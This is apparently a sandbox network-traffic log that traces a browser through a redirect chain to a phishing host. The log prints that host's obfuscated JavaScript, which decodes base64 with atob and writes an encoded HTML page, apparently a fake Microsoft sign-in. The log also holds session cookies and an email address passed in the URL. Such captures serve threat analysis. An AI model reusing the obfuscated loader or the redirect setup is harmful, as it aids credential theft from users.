Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 23 23"><path fill="#f3f3f3" d="M0 0h23v23H0z"/><path fill="#f35325" d="M1 1h10v10H1z"/><path fill="#81bc06" d="M12 1h10v10H12z"/><path fill="#05a6f0" d="M1 12h10v10H1z"/><path fill="#ffba08" d="M12 12h1

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:11 UTC	425	OUT	GET /wikipedia/commons/4/44/Microsoft_logo.svg HTTP/1.1 Host: upload.wikimedia.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:11 UTC	1080	IN	HTTP/1.1 200 OK date: Mon, 17 Mar 2025 19:21:14 GMT server: ATS/9.2.9 etag: W/363fdd53d34303b727d9dab161b8e88b content-type: image/svg+xml x-object-meta-sha1base36: an1udxuweqh76ugogpdy8qhw9zzoroi last-modified: Thu, 29 Jul 2021 02:10:50 GMT vary: Accept-Encoding age: 10197 x-cache: cp3075 hit, cp3075 hit/265 x-cache-status: hit-front server-timing: cache;desc="hit-front", host;desc="cp3075" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes content-length: 272 connection: close
2025-03-17 22:11:11 UTC	272	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 33 20 32 33 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 66 33 66 33 22 20 64 3d 22 4d 30 20 30 68 32 33 76 32 33 48 30 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 35 33 32 35 22 20 64 3d 22 4d 31 20 31 68 31 30 76 31 30 48 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 38 31 62 63 30 36 22 20 64 3d 22 4d 31 32 20 31 68 31 30 76 31 30 48 31 32 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 35 61 36 66 30 22 20 64 3d 22 4d 31 20 31 32 68 31 30 76 31 30 48 31 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 62 61 30 38 22 20 64 3d 22 4d 31 32 20 31 32 68 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 23 23"><path fill="#f3f3f3" d="M0 0h23v23H0z"/><path fill="#f35325" d="M1 1h10v10H1z"/><path fill="#81bc06" d="M12 1h10v10H12z"/><path fill="#05a6f0" d="M1 12h10v10H1z"/><path fill="#ffba08" d="M12 12h1

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:11 UTC	611	OUT	GET /favicon.ico HTTP/1.1 Host: providentfundquery.in Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://providentfundquery.in/vmail/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:12 UTC	195	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 17 Mar 2025 22:10:44 GMT Server: Apache X-Powered-By: PHP/7.0.33 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:33 UTC	755	OUT	GET /?email=ce6azz%40dxzvthq.co HTTP/1.1 Host: dawn-dust-7616.kpapp.workers.dev Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://providentfundquery.in/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:33 UTC	812	IN	HTTP/1.1 302 Found Date: Mon, 17 Mar 2025 22:11:33 GMT Content-Length: 0 Connection: close Location: https://abc.lyraxw.es/HX1rTg/#Xce6azz@dxzvthq.co Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hjl7ZgC0InYtsvrl%2F2KI332JL2WATKnbN7dmbW2UA63kiPIRrb%2BnjtwJk7ytFQvty3CPX%2F9hdgYaSJlKdoDY5XFLbg%2Be57XOfiSTGCHRw%2BvvT%2FclLFdNimky9xK5h3Y%2FbppxW1QBxL0LrZrPzI34s%2FyC6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921fd3a65aaf3320-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2013&min_rtt=2004&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1327&delivery_rate=1405873&cwnd=218&unsent_bytes=0&cid=55ea32ceef5ad790&ts=141&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:34 UTC	717	OUT	GET /HX1rTg/ HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://providentfundquery.in/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:34 UTC	1212	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VvPCnh2rp8aGjM9swHgIa1LAYJwV7Oal7Uee%2B7q2N6kdISS2vaEp8Po4%2FAfUvJsBXa94ZrtyvXGCNaKo%2FBeTFnYamSMvoag65vZtY3kbEJd4Gp9MwyxzIPNdVvx0rRCkXl2Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=2873&min_rtt=2630&rtt_var=956&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1621&delivery_rate=1099051&cwnd=251&unsent_bytes=0&cid=0ca4fa2ce8c686fc&ts=155&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImNJdW1OcWE4UVlXR3BoN1dOOUZONGc9PSIsInZhbHVlIjoiTzh4LzB5M3dBNkNGdlRjeVhSb1NzeVgxY1JmU0t1amtIUUhIQ1lQM0xob1lCdjA1aVE3dE5QNEpLUW1sV0FBbjY5QWptUnprUnJkMWZzbW9XbldCSElTR0lMU2RJYTc5bHNvWHRmK2szZE81eGc4azByMWJONDB5eURHMExQSXIiLCJtYWMiOiI4NTU2YTdhNzMxNmM2NDM4Yzk5NjllZTAzMTc2Mzg5YTQwNzFhZTkyMjJkNTRhN2JlYzk4OTcxNjI1NGRlMmM3IiwidGFnIjoiIn0%3D; expires=Tue, 18-Mar-2025 00:11:34 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 22:11:34 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4a 50 61 32 31 31 62 46 6c 78 4c 30 46 47 65 54 59 35 4f 45 64 70 55 46 4a 56 63 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 51 57 74 4b 5a 47 4e 79 62 32 55 7a 56 33 56 6f 54 56 4a 56 51 33 64 69 4e 30 46 4a 62 47 46 4d 55 57 56 47 56 6d 64 58 51 6d 52 57 4d 6e 64 73 56 45 45 32 57 57 74 58 57 54 56 59 53 31 5a 30 65 58 68 4b 61 31 45 30 55 6e 46 6f 63 57 5a 73 59 6d 4a 4a 57 57 52 36 55 33 46 74 65 57 73 72 54 6c 5a 57 55 31 64 51 64 46 5a 4b 62 6c 4a 51 65 57 64 77 65 6c 70 4c 64 31 56 54 4b 31 42 6a 4e 55 4e 79 4d 6b 68 4d 4e 47 4a 34 54 53 74 4f 62 57 4e 70 4f 58 68 35 57 58 68 36 52 6e 5a 58 4e 57 78 6d 55 58 46 77 52 54 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlJPa211bFlxL0FGeTY5OEdpUFJVcnc9PSIsInZhbHVlIjoiQWtKZGNyb2UzV3VoTVJVQ3diN0FJbGFMUWVGVmdXQmRWMndsVEE2WWtXWTVYS1Z0eXhKa1E0UnFocWZsYmJJWWR6U3FteWsrTlZWU1dQdFZKblJQeWdwelpLd1VTK1BjNUNyMkhMNGJ4TStObWNpOXh5WXh6RnZXNWxmUXFwRTk
2025-03-17 22:11:34 UTC	294	IN	Data Raw: 31 31 66 0d 0a 3c 73 63 72 69 70 74 3e 0a 6c 67 5a 4d 57 7a 57 6c 4d 68 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 68 59 6d 4d 75 62 48 6c 79 59 58 68 33 4c 6d 56 7a 4c 30 68 59 4d 58 4a 55 5a 79 38 3d 22 29 3b 0a 49 49 4d 64 57 6e 66 43 79 43 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 45 66 43 49 61 41 62 6c 68 63 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6c 67 5a 4d 57 7a 57 6c 4d 68 20 3d 3d 20 49 49 4d 64 57 6e 66 43 79 43 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 45 66 43 49 61 41 62 6c 68 63 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 50 Data Ascii: 11f<script>lgZMWzWlMh = atob("aHR0cHM6Ly9hYmMubHlyYXh3LmVzL0hYMXJUZy8=");IIMdWnfCyC = atob("bm9tYXRjaA==");EfCIaAblhc = atob("d3JpdGU=");if(lgZMWzWlMh == IIMdWnfCyC){document[EfCIaAblhc](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sP
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 69 62 6d 39 70 62 6d 52 6c 65 43 77 67 62 6d 39 Data Ascii: 7ff9IgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 Data Ascii: Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g776g7
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: k776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g77
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44Wk776g44Wk776g776
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 Data Ascii: Wk44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk7
2025-03-17 22:11:34 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 Data Ascii: g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g77

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:35 UTC	538	OUT	OPTIONS /report/v4?s=VvPCnh2rp8aGjM9swHgIa1LAYJwV7Oal7Uee%2B7q2N6kdISS2vaEp8Po4%2FAfUvJsBXa94ZrtyvXGCNaKo%2FBeTFnYamSMvoag65vZtY3kbEJd4Gp9MwyxzIPNdVvx0rRCkXl2Z HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://abc.lyraxw.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 22:11:35 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 17 Mar 2025 22:11:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-17 22:11:35 UTC	1466	OUT	GET /HX1rTg/ HTTP/1.1 Host: abc.lyraxw.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://providentfundquery.in/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNJdW1OcWE4UVlXR3BoN1dOOUZONGc9PSIsInZhbHVlIjoiTzh4LzB5M3dBNkNGdlRjeVhSb1NzeVgxY1JmU0t1amtIUUhIQ1lQM0xob1lCdjA1aVE3dE5QNEpLUW1sV0FBbjY5QWptUnprUnJkMWZzbW9XbldCSElTR0lMU2RJYTc5bHNvWHRmK2szZE81eGc4azByMWJONDB5eURHMExQSXIiLCJtYWMiOiI4NTU2YTdhNzMxNmM2NDM4Yzk5NjllZTAzMTc2Mzg5YTQwNzFhZTkyMjJkNTRhN2JlYzk4OTcxNjI1NGRlMmM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJPa211bFlxL0FGeTY5OEdpUFJVcnc9PSIsInZhbHVlIjoiQWtKZGNyb2UzV3VoTVJVQ3diN0FJbGFMUWVGVmdXQmRWMndsVEE2WWtXWTVYS1Z0eXhKa1E0UnFocWZsYmJJWWR6U3FteWsrTlZWU1dQdFZKblJQeWdwelpLd1VTK1BjNUNyMkhMNGJ4TStObWNpOXh5WXh6RnZXNWxmUXFwRTkiLCJtYWMiOiJjYWE4NGRiNGJhN2ZmNmMwNzkxMjQwNzhkYWRkZGNjM2FkNjdmZTYxMWFjYWQ2Nzc0ODJjMTI1NWE2YzYyNmMyIiwidGFnIjoiIn0%3D
2025-03-17 22:11:35 UTC	1238	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 22:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2Bivn8fPar%2Ba%2BT2JuOMTHcjpVsUE33J3yi7D6vonDtFaS%2F2lqTldM0lr2YvRrqp6gB06PqPFjw69rU%2FGvYly3mLMcegtTWP4xW%2B5z1b62PP28Ncn6Jr3Wnh3FB6j2cSf6N0Z"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1510&rtt_var=562&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2368&delivery_rate=1564559&cwnd=251&unsent_bytes=0&cid=b53ab4899ab908e4&ts=135&x=0" Set-Cookie: 